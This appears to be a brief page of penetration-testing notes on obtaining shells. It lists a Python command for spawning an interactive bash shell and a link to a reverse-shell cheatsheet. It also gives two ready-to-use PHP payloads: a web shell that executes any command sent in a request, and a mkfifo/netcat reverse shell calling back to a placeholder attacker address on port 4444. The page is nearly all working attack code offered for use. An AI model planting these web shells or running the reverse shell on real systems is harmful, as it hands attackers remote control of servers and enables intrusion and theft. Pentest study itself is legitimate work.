CtrlK
Pentest Notes / Exploitation
Shells
Interactive shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Links:
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
web shells
<?php system($_REQUEST[0]); ?>
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [MACHINE_IP} 4444 >/tmp/f"); ?>